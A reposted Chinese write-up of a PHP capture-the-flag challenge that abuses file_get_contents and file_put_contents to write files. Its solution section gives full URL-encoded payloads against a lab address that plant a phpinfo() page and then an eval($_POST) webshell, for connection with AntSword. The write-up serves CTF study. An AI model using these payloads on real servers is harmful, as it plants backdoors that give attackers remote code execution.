PHP_Code_Challenge-15-file_get/put_contents

Posted 雨九九

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP_Code_Challenge-15-file_get/put_contents相关的知识,希望对你有一定的参考价值。

题目

<?php
if(isset($_GET) && !empty($_GET)){
    $url = $_GET[\'file\'];
    $path = \'upload/\'.$_GET[\'path\'];
}else{
    show_source(__FILE__);
    exit();
}
if(strpos($path,\'..\') > -1){
    die(\'SYCwaf!\');
}
if(strpos($url,\'http://127.0.0.1/\') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.Geeker";
}

分析

程序会访问url中的$file,然后将返回内容写入到$path文件中,再返回含$path的页面
$file参数开头需为http://127.0.0.1/$path不可含有..

  1. $path可控,意味着返回页面内容可控,比如

  2. 所以可以将这个返回页面作为$file的返回内容写入另一个$path文件中,相当于套娃,可以写shell

知识点

file_get_contents

将整个文件读入一个字符串

和 file() 一样,只除了 file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 maxlen 的内容。如果失败,file_get_contents() 将返回 FALSE。 
file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法。如果操作系统支持还会使用内存映射技术来增强性能。 
Note: 
如果要打开有特殊字符的 URL (比如说有空格),就需要使用 urlencode() 进行 URL 编码。 

file_put_contents

将一个字符串写入文件
和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

解法

phpinfo证明

返回<?php phpinfo();
http://192.168.146.181:23125/?file=http://127.0.0.1/&path=<?php+phpinfo();
因为上述url是作为参数传递给$file,所以字符需要url编码
因为是由index.php请求,加上$file参数开头需为http://127.0.0.1/,所以192.168.146.181:23125要改为127.0.0.1
最后的payload
path=shell.php&file=http%3a%2f%2f127.0.0.1%2f%3fpath%3d<%3fphp%2bphpinfo()%3b%3f>%26file%3dhttp%3a%2f%2f127.0.0.1%2findex.php
访问http://192.168.146.181:23125/upload/shell.php

写shell

返回shell页面
http://192.168.146.181:23125/?file=http://127.0.0.1/upload/&path=<?php+@eval($_POST[a]);+?>
payload
http://192.168.146.181:23125/?path=ma.php&file=http%3a%2f%2f127.0.0.1%2f%3ffile%3dhttp%3a%2f%2f127.0.0.1%2fupload%2f%26path%3d%3c%3fphp%2b%40eval(%24_POST%5ba%5d)%3b%2b%3f%3e
蚁剑连接

以上是关于PHP_Code_Challenge-15-file_get/put_contents的主要内容,如果未能解决你的问题,请参考以下文章